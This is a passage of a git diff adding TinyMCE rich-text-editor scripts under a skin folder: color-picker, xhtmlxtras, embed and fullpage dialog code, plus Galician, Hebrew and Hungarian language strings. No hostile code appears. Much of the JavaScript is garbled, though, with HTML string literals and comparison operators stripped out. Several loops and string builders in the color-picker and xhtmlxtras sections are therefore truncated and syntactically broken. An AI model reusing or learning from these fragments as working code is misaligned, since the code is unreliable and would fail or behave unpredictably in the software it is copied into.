r; + g = g.length == 1 ? '0' + g : g; + b = b.length == 1 ? '0' + b : b; + + return "#" + r + g + b; + } + + return col; +} + +function convertHexToRGB(col) { + if (col.indexOf('#') != -1) { + col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); + + r = parseInt(col.substring(0, 2), 16); + g = parseInt(col.substring(2, 4), 16); + b = parseInt(col.substring(4, 6), 16); + + return {r : r, g : g, b : b}; + } + + return null; +} + +function generatePicker() { + var el = document.getElementById('light'), h = '', i; + + for (i = 0; i < detail; i++){ + h += '
    '; + } + + el.innerHTML = h; +} + +function generateWebColors() { + var el = document.getElementById('webcolors'), h = '', i; + + if (el.className == 'generated') + return; + + // TODO: VoiceOver doesn't seem to support legend as a label referenced by labelledby. + h += '
    ' + + ''; + + for (i=0; i' + + ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + if ((i+1) % 18 == 0) + h += ''; + } + + h += '
    '; + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el.firstChild); +} + +function paintCanvas(el) { + tinyMCEPopup.getWin().tinymce.each(tinyMCEPopup.dom.select('canvas.mceColorSwatch', el), function(canvas) { + var context; + if (canvas.getContext && (context = canvas.getContext("2d"))) { + context.fillStyle = canvas.getAttribute('data-color'); + context.fillRect(0, 0, 10, 10); + } + }); +} +function generateNamedColors() { + var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; + + if (el.className == 'generated') + return; + + for (n in named) { + v = named[n]; + h += ''; + if (tinyMCEPopup.editor.forcedHighContrastMode) { + h += ''; + } + h += ''; + h += ''; + i++; + } + + el.innerHTML = h; + el.className = 'generated'; + + paintCanvas(el); + enableKeyboardNavigation(el); +} + +function enableKeyboardNavigation(el) { + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', { + root: el, + items: tinyMCEPopup.dom.select('a', el) + }, tinyMCEPopup.dom); +} + +function dechex(n) { + return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); +} + +function computeColor(e) { + var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB, pos = tinyMCEPopup.dom.getPos(e.target); + + x = e.offsetX ? e.offsetX : (e.target ? e.clientX - pos.x : 0); + y = e.offsetY ? e.offsetY : (e.target ? e.clientY - pos.y : 0); + + partWidth = document.getElementById('colors').width / 6; + partDetail = detail / 2; + imHeight = document.getElementById('colors').height; + + r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; + g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); + b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); + + coef = (imHeight - y) / imHeight; + r = 128 + (r - 128) * coef; + g = 128 + (g - 128) * coef; + b = 128 + (b - 128) * coef; + + changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); + updateLight(r, g, b); +} + +function updateLight(r, g, b) { + var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; + + for (i=0; i=0) && (i 0) { + insertInlineElement('del'); + var elementArray = SXE.inst.dom.select('del[data-mce-new]'); + for (var i=0; i 0) { + tagName = element_name; + + insertInlineElement(element_name); + var elementArray = tinymce.grep(SXE.inst.dom.select(element_name)); + for (var i=0; i -1) ? true : false; +} + +SXE.removeClass = function(elm,cl) { + if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) { + return true; + } + var classNames = elm.className.split(" "); + var newClassNames = ""; + for (var x = 0, cnl = classNames.length; x < cnl; x++) { + if (classNames[x] != cl) { + newClassNames += (classNames[x] + " "); + } + } + elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end +} + +SXE.addClass = function(elm,cl) { + if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl; + return true; +} + +function insertInlineElement(en) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + ed.getDoc().execCommand('FontName', false, 'mceinline'); + tinymce.each(dom.select('span,font'), function(n) { + if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') + dom.replace(dom.create(en, {'data-mce-new' : 1}), n, 1); + }); +} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/embed.js b/js/tiny_mce/themes/advanced/skins/o2k7/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ',' + + 'XHTML 1.0 Frameset=,' + + 'XHTML 1.0 Strict=,' + + 'XHTML 1.1=,' + + 'HTML 4.01 Transitional=,' + + 'HTML 4.01 Strict=,' + + 'HTML 4.01 Frameset='; + + var defaultEncodings = + 'Western european (iso-8859-1)=iso-8859-1,' + + 'Central European (iso-8859-2)=iso-8859-2,' + + 'Unicode (UTF-8)=utf-8,' + + 'Chinese traditional (Big5)=big5,' + + 'Cyrillic (iso-8859-5)=iso-8859-5,' + + 'Japanese (iso-2022-jp)=iso-2022-jp,' + + 'Greek (iso-8859-7)=iso-8859-7,' + + 'Korean (iso-2022-kr)=iso-2022-kr,' + + 'ASCII (us-ascii)=us-ascii'; + + var defaultFontNames = 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,times new roman,times,serif;Tahoma=tahoma,arial,helvetica,sans-serif;Times New Roman=times new roman,times,serif;Verdana=verdana,arial,helvetica,sans-serif;Impact=impact;WingDings=wingdings'; + var defaultFontSizes = '10px,11px,12px,13px,14px,15px,16px'; + + function setVal(id, value) { + var elm = document.getElementById(id); + + if (elm) { + value = value || ''; + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") + elm.checked = !!value; + else + elm.value = value; + } + }; + + function getVal(id) { + var elm = document.getElementById(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + }; + + window.FullPageDialog = { + changedStyle : function() { + var val, styles = tinyMCEPopup.editor.dom.parseStyle(getVal('style')); + + setVal('fontface', styles['font-face']); + setVal('fontsize', styles['font-size']); + setVal('textcolor', styles['color']); + + if (val = styles['background-image']) + setVal('bgimage', val.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1")); + else + setVal('bgimage', ''); + + setVal('bgcolor', styles['background-color']); + + // Reset margin form elements + setVal('topmargin', ''); + setVal('rightmargin', ''); + setVal('bottommargin', ''); + setVal('leftmargin', ''); + + // Expand margin + if (val = styles['margin']) { + val = val.split(' '); + styles['margin-top'] = val[0] || ''; + styles['margin-right'] = val[1] || val[0] || ''; + styles['margin-bottom'] = val[2] || val[0] || ''; + styles['margin-left'] = val[3] || val[0] || ''; + } + + if (val = styles['margin-top']) + setVal('topmargin', val.replace(/px/, '')); + + if (val = styles['margin-right']) + setVal('rightmargin', val.replace(/px/, '')); + + if (val = styles['margin-bottom']) + setVal('bottommargin', val.replace(/px/, '')); + + if (val = styles['margin-left']) + setVal('leftmargin', val.replace(/px/, '')); + + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('textcolor_pick', 'textcolor'); + }, + + changedStyleProp : function() { + var val, dom = tinyMCEPopup.editor.dom, styles = dom.parseStyle(getVal('style')); + + styles['font-face'] = getVal('fontface'); + styles['font-size'] = getVal('fontsize'); + styles['color'] = getVal('textcolor'); + styles['background-color'] = getVal('bgcolor'); + + if (val = getVal('bgimage')) + styles['background-image'] = "url('" + val + "')"; + else + styles['background-image'] = ''; + + delete styles['margin']; + + if (val = getVal('topmargin')) + styles['margin-top'] = val + "px"; + else + styles['margin-top'] = ''; + + if (val = getVal('rightmargin')) + styles['margin-right'] = val + "px"; + else + styles['margin-right'] = ''; + + if (val = getVal('bottommargin')) + styles['margin-bottom'] = val + "px"; + else + styles['margin-bottom'] = ''; + + if (val = getVal('leftmargin')) + styles['margin-left'] = val + "px"; + else + styles['margin-left'] = ''; + + // Serialize, parse and reserialize this will compress redundant styles + setVal('style', dom.serializeStyle(dom.parseStyle(dom.serializeStyle(styles)))); + this.changedStyle(); + }, + + update : function() { + var data = {}; + + tinymce.each(tinyMCEPopup.dom.select('select,input,textarea'), function(node) { + data[node.id] = getVal(node.id); + }); + + tinyMCEPopup.editor.plugins.fullpage._dataToHtml(data); + tinyMCEPopup.close(); + } + }; + + function init() { + var form = document.forms[0], i, item, list, editor = tinyMCEPopup.editor; + + // Setup doctype select box + list = editor.getParam("fullpage_doctypes", defaultDocTypes).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'doctype', item[0], item[1]); + } + + // Setup fonts select box + list = editor.getParam("fullpage_fonts", defaultFontNames).split(';'); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'fontface', item[0], item[1]); + } + + // Setup fontsize select box + list = editor.getParam("fullpage_fontsizes", defaultFontSizes).split(','); + for (i = 0; i < list.length; i++) + addSelectValue(form, 'fontsize', list[i], list[i]); + + // Setup encodings select box + list = editor.getParam("fullpage_encodings", defaultEncodings).split(','); + for (i = 0; i < list.length; i++) { + item = list[i].split('='); + + if (item.length > 1) + addSelectValue(form, 'docencoding', item[0], item[1]); + } + + // Setup color pickers + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + document.getElementById('link_color_pickcontainer').innerHTML = getColorPickerHTML('link_color_pick','link_color'); + document.getElementById('visited_color_pickcontainer').innerHTML = getColorPickerHTML('visited_color_pick','visited_color'); + document.getElementById('active_color_pickcontainer').innerHTML = getColorPickerHTML('active_color_pick','active_color'); + document.getElementById('textcolor_pickcontainer').innerHTML = getColorPickerHTML('textcolor_pick','textcolor'); + document.getElementById('stylesheet_browsercontainer').innerHTML = getBrowserHTML('stylesheetbrowser','stylesheet','file','fullpage'); + document.getElementById('bgimage_pickcontainer').innerHTML = getBrowserHTML('bgimage_browser','bgimage','image','fullpage'); + + // Resize some elements + if (isVisible('stylesheetbrowser')) + document.getElementById('stylesheet').style.width = '220px'; + + if (isVisible('link_href_browser')) + document.getElementById('element_link_href').style.width = '230px'; + + if (isVisible('bgimage_browser')) + document.getElementById('bgimage').style.width = '210px'; + + // Update form + tinymce.each(tinyMCEPopup.getWindowArg('data'), function(value, key) { + setVal(key, value); + }); + + FullPageDialog.changedStyle(); + + // Update colors + updateColor('textcolor_pick', 'textcolor'); + updateColor('bgcolor_pick', 'bgcolor'); + updateColor('visited_color_pick', 'visited_color'); + updateColor('active_color_pick', 'active_color'); + updateColor('link_color_pick', 'link_color'); + }; + + tinyMCEPopup.onInit.add(init); +})(); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/gl.js b/js/tiny_mce/themes/advanced/skins/o2k7/gl.js new file mode 100755 index 0000000..cf00430 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/gl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advanced',{"underline_desc":"Subli\u00f1ado (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negrita (Ctrl+B)",dd:"Descripci\u00f3n de definici\u00f3n",dt:"Termo de definici\u00f3n",samp:"Mostra de c\u00f3digo",code:"C\u00f3digo",blockquote:"Bloque de cita",h6:"Encabezamento 6",h5:"Encabezamento 5",h4:"Encabezamento 4",h3:"Encabezamento 3",h2:"Encabezamento 2",h1:"Encabezamento 1",pre:"Pre-formateado",address:"Enderezo",div:"Div",paragraph:"P\u00e1rrafo",block:"Formato",fontdefault:"Fonte","font_size":"Tama\u00f1o","style_select":"Estilos","more_colors":"M\u00e1is cores","toolbar_focus":"Ir \u00f3s bot\u00f3ns de ferramentas - Alt+Q, Ir \u00f3 editor - Alt-Z, Ir \u00e1 ruta do elemento - Alt-X",newdocument:"\u00bfSeguro que desexa limpar todo o contido?",path:"Ruta","clipboard_msg":"Copiar/Cortar/Pegar non est\u00e1 disponible en Mozilla e Firefox.\n\u00bfDesexa obter mais informaci\u00f3n sobre de este asunto?","blockquote_desc":"Cita","help_desc":"Axuda","newdocument_desc":"Novo documento","image_props_desc":"Propiedades de imaxe","paste_desc":"Pegar","copy_desc":"Copiar","cut_desc":"Cortar","anchor_desc":"Insertar/editar \u00e1ncora","visualaid_desc":"Mostrar/ocultar li\u00f1a de gu\u00eda/elementos invisibres","charmap_desc":"Insertar caracteres persoalizados","backcolor_desc":"Seleccionar cor do fondo","forecolor_desc":"Seleccionar cor do texto","custom1_desc":"A s\u00faa descripci\u00f3n persoal aqu\u00ed","removeformat_desc":"quitar formato","hr_desc":"Insertar regra horizontal","sup_desc":"Super\u00edndice","sub_desc":"Sub\u00edndice","code_desc":"Editar c\u00f3digo HTML","cleanup_desc":"Limpiar lixo no c\u00f3digo","image_desc":"Insertar/editar imaxe","unlink_desc":"Quitar hiperv\u00ednculo","link_desc":"Insertar/editar hiperv\u00ednculo","redo_desc":"Re-facer (Ctrl+Y)","undo_desc":"Desfacer (Ctrl+Z)","indent_desc":"Aumentar sangr\u00eda","outdent_desc":"Reducir sangr\u00eda","numlist_desc":"Lista ordenada","bullist_desc":"Lista desordenada","justifyfull_desc":"Xustificar","justifyright_desc":"Ali\u00f1ar \u00e1 dereita","justifycenter_desc":"Ali\u00f1ar \u00f3 centro","justifyleft_desc":"Ali\u00f1ar \u00e1 esquerda","striketrough_desc":"Tachado","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/gl_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/gl_dlg.js new file mode 100755 index 0000000..71adc8e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advhr_dlg',{size:"Alto",noshade:"Sen sombra",width:"Ancho",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/he.js b/js/tiny_mce/themes/advanced/skins/o2k7/he.js new file mode 100755 index 0000000..2c50a4b --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/he.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advanced',{"underline_desc":"\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d5\u05df (Ctrl+U)","italic_desc":"\u05e0\u05d8\u05d5\u05d9 (Ctrl+I)","bold_desc":"\u05de\u05d5\u05d3\u05d2\u05e9 (Ctrl+B)",dd:"\u05d4\u05d2\u05d3\u05e8\u05ea \u05d4\u05de\u05d5\u05e9\u05d2",dt:"\u05de\u05d5\u05e9\u05d2",samp:"\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",code:"\u05e7\u05d5\u05d3",blockquote:"\u05e6\u05d9\u05d8\u05d5\u05d8 \u05e7\u05d8\u05e2",h6:"\u05db\u05d5\u05ea\u05e8\u05ea 6",h5:"\u05db\u05d5\u05ea\u05e8\u05ea 5",h4:"\u05db\u05d5\u05ea\u05e8\u05ea 4",h3:"\u05db\u05d5\u05ea\u05e8\u05ea 3",h2:"\u05db\u05d5\u05ea\u05e8\u05ea 2",h1:"\u05db\u05d5\u05ea\u05e8\u05ea 1",pre:"Preformatted",address:"\u05db\u05ea\u05d5\u05d1\u05ea",div:"Div",paragraph:"\u05e4\u05e1\u05e7\u05d4",block:"\u05e2\u05d9\u05e6\u05d5\u05d1",fontdefault:"\u05d2\u05d5\u05e4\u05df","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","style_select":"\u05e1\u05d2\u05e0\u05d5\u05e0\u05d5\u05ea","more_colors":"\u05e2\u05d5\u05d3 \u05e6\u05d1\u05e2\u05d9\u05dd","toolbar_focus":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd - Alt+Q, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05de\u05e2\u05d1\u05d3 \u05ea\u05de\u05dc\u05d9\u05dc\u05d9\u05dd - Alt-Z, \u05d4\u05e2\u05d1\u05e8\u05d4 \u05dc\u05e0\u05ea\u05d9\u05d1 \u05d4\u05d0\u05dc\u05de\u05d8\u05d9\u05dd - Alt-X",newdocument:"\u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05de\u05d7\u05d5\u05e7 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df?",path:"path","clipboard_msg":"\u05d4\u05e2\u05ea\u05e7/\u05d2\u05d6\u05d5\u05e8/\u05d4\u05d3\u05d1\u05e7 \u05dc\u05d0 \u05d6\u05de\u05d9\u05e0\u05d9\u05dd \u05d1 Mozilla \u05d5\u05d1-Firefox.\n \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e7\u05d1\u05dc \u05de\u05d9\u05d3\u05e2 \u05e0\u05d5\u05e1\u05e3 \u05e2\u05dc \u05d4\u05e0\u05d5\u05e9\u05d0?","blockquote_desc":"\u05e6\u05d9\u05d8\u05d5\u05d8","help_desc":"\u05e2\u05d6\u05e8\u05d4","newdocument_desc":"\u05de\u05e1\u05de\u05da \u05d7\u05d3\u05e9","image_props_desc":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4","paste_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4","copy_desc":"\u05d4\u05e2\u05ea\u05e7\u05d4","cut_desc":"\u05d2\u05d6\u05d9\u05e8\u05d4","anchor_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05d9\u05de\u05e0\u05d9\u05d4","visualaid_desc":"\u05d4\u05e6\u05d2\u05d4 \u05d0\u05d5 \u05d4\u05e1\u05ea\u05e8\u05d4 \u05e9\u05dc \u05e1\u05d9\u05de\u05d5\u05e0\u05d9 \u05e2\u05d9\u05e6\u05d5\u05d1","charmap_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05d9\u05de\u05df","backcolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","forecolor_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05e6\u05d1\u05e2 \u05d2\u05d5\u05e4\u05df","custom1_desc":"\u05d4\u05ea\u05d0\u05d5\u05e8 \u05e9\u05dc\u05da \u05db\u05d0\u05d5","removeformat_desc":"\u05d4\u05e1\u05e8\u05ea \u05e2\u05d9\u05e6\u05d5\u05d1","hr_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e7\u05d5 \u05de\u05e4\u05e8\u05d9\u05d3","sup_desc":"\u05db\u05ea\u05d1 \u05ea\u05d7\u05ea\u05d9","sub_desc":"\u05db\u05ea\u05d1 \u05e2\u05d9\u05dc\u05d9","code_desc":"\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d5\u05d3 HTML","cleanup_desc":"\u05e0\u05d9\u05e7\u05d5\u05d9 \u05e7\u05d5\u05d3","image_desc":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05d3\u05e3 \u05ea\u05de\u05d5\u05e0\u05d4","unlink_desc":"\u05d4\u05e1\u05e8\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","redo_desc":"\u05d7\u05d6\u05e8\u05d4 \u05e2\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Y)","undo_desc":"\u05d1\u05d9\u05d8\u05d5\u05dc \u05e4\u05e2\u05d5\u05dc\u05d4 (Ctrl+Z)","indent_desc":"\u05d4\u05e7\u05d8\u05e0\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","outdent_desc":"\u05d4\u05d2\u05d3\u05dc\u05ea \u05db\u05e0\u05d9\u05e1\u05d4","numlist_desc":"\u05de\u05e1\u05e4\u05d5\u05e8","bullist_desc":"\u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd","justifyfull_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e9\u05e0\u05d9 \u05d4\u05e6\u05d3\u05d3\u05d9\u05dd","justifyright_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05d9\u05de\u05d9\u05df","justifycenter_desc":"\u05de\u05d9\u05e8\u05db\u05d5\u05d6 \u05d8\u05e7\u05e1\u05d8","justifyleft_desc":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05dc\u05e9\u05de\u05d0\u05dc","striketrough_desc":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","help_shortcut":"\u05dc\u05d7\u05e6/\u05d9 ALT-F10 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd. \u05dc\u05d7\u05e6/\u05d9 ALT-0 \u05dc\u05e2\u05d6\u05e8\u05d4","rich_text_area":"\u05d0\u05d6\u05d5\u05e8 \u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8","shortcuts_desc":"\u05e2\u05d6\u05e8\u05ea \u05d2\u05d9\u05e9\u05d4",toolbar:"\u05e1\u05e8\u05d2\u05dc \u05db\u05dc\u05d9\u05dd","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/he_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/he_dlg.js new file mode 100755 index 0000000..fd491ea --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advhr_dlg',{size:"\u05d2\u05d5\u05d1\u05d4",noshade:"\u05dc\u05dc\u05d0 \u05e6\u05dc",width:"\u05e8\u05d5\u05d7\u05d1",normal:"\u05e8\u05d2\u05d9\u05dc",widthunits:"\u05d9\u05d7\u05d9\u05d3\u05d5\u05ea"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/hu.js b/js/tiny_mce/themes/advanced/skins/o2k7/hu.js new file mode 100755 index 0000000..b5a0cbd --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/hu.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advanced',{"underline_desc":"Al\u00e1h\u00fazott (Ctrl+U)","italic_desc":"D\u0151lt (Ctrl+I)","bold_desc":"F\u00e9lk\u00f6v\u00e9r (Ctrl+B)",dd:"Defin\u00edci\u00f3 a defin\u00edci\u00f3s list\u00e1ban",dt:"Defini\u00e1lt kifejez\u00e9s a defin\u00edci\u00f3s list\u00e1ban",samp:"K\u00f3d minta",code:"K\u00f3d",blockquote:"Id\u00e9zet",h6:"C\u00edmsor 6",h5:"C\u00edmsor 5",h4:"C\u00edmsor 4",h3:"C\u00edmsor 3",h2:"C\u00edmsor 2",h1:"C\u00edmsor 1",pre:"El\u0151form\u00e1zott",address:"C\u00edm",div:"Div",paragraph:"Bekezd\u00e9s",block:"Form\u00e1tum",fontdefault:"Bet\u0171t\u00edpus","font_size":"Bet\u0171m\u00e9ret","style_select":"St\u00edlusok","image_delta_height":"","image_delta_width":"","more_colors":"Tov\u00e1bbi sz\u00ednek","toolbar_focus":"Eszk\u00f6zgombokra ugr\u00e1s - Alt+Q, Szerkeszt\u0151h\u00f6z ugr\u00e1s - Alt-Z, Elem\u00fatvonalhoz ugr\u00e1s - Alt-X",newdocument:"Biztosan t\u00f6rli az eddigi tartalmat?",path:"\u00datvonal","clipboard_msg":"A M\u00e1sol\u00e1s/Kiv\u00e1g\u00e1s/Besz\u00far\u00e1s funkci\u00f3k nem \u00e9rhet\u0151ek el Mozilla \u00e9s Firefox alatt. Szeretne t\u00f6bbet megtudni err\u0151l?","blockquote_desc":"Id\u00e9zet","help_desc":"Seg\u00edts\u00e9g","newdocument_desc":"\u00daj dokumentum","image_props_desc":"K\u00e9p tulajdons\u00e1gai","paste_desc":"Besz\u00far\u00e1s","copy_desc":"M\u00e1sol\u00e1s","cut_desc":"Kiv\u00e1g\u00e1s","anchor_desc":"Horgony besz\u00far\u00e1sa/szerkeszt\u00e9se","visualaid_desc":"Vezet\u0151vonalak/nem l\u00e1that\u00f3 elemek ki-/bekapcsol\u00e1sa","charmap_desc":"Speci\u00e1lis karakter besz\u00far\u00e1sa","backcolor_desc":"H\u00e1tt\u00e9rsz\u00edn v\u00e1laszt\u00e1sa","forecolor_desc":"Sz\u00f6vegsz\u00edn v\u00e1laszt\u00e1sa","custom1_desc":"Az \u00f6n egyedi le\u00edr\u00e1sa","removeformat_desc":"Form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","hr_desc":"V\u00edzszintes elv\u00e1laszt\u00f3 vonal besz\u00far\u00e1sa","sup_desc":"Fels\u0151 index","sub_desc":"Als\u00f3 index","code_desc":"HTML forr\u00e1s szerkeszt\u00e9se","cleanup_desc":"Minden form\u00e1z\u00e1s elt\u00e1vol\u00edt\u00e1sa","image_desc":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","unlink_desc":"Link elt\u00e1vol\u00edt\u00e1sa","link_desc":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","redo_desc":"M\u00e9gis v\u00e9grehajt (Ctrl+Y)","undo_desc":"Visszavon\u00e1s (Ctrl+Z)","indent_desc":"Beh\u00faz\u00e1s n\u00f6vel\u00e9se","outdent_desc":"Beh\u00faz\u00e1s cs\u00f6kkent\u00e9se","numlist_desc":"Rendezett lista","bullist_desc":"Rendezetlen lista","justifyfull_desc":"Sorkiz\u00e1rt","justifyright_desc":"Jobbra z\u00e1rt","justifycenter_desc":"K\u00f6z\u00e9pre z\u00e1rt","justifyleft_desc":"Balra z\u00e1rt","striketrough_desc":"\u00c1th\u00fazott","help_shortcut":"Ugr\u00e1s az eszk\u00f6zt\u00e1rhoz: ALT-F10. Seg\u00edts\u00e9g: ALT-0.","rich_text_area":"Rich Text ter\u00fclet","shortcuts_desc":"El\u00e9rhet\u0151s\u00e9g s\u00fag\u00f3",toolbar:"Eszk\u00f6zt\u00e1r","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/hu_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/hu_dlg.js new file mode 100755 index 0000000..f9ed728 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advhr_dlg',{size:"Magass\u00e1g",noshade:"\u00c1rny\u00e9k n\u00e9lk\u00fcl",width:"Sz\u00e9less\u00e9g",normal:"Norm\u00e1l",widthunits:"M\u00e9rt\u00e9kegys\u00e9gek"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/icons.gif b/js/tiny_mce/themes/advanced/skins/o2k7/icons.gif new file mode 100755 index 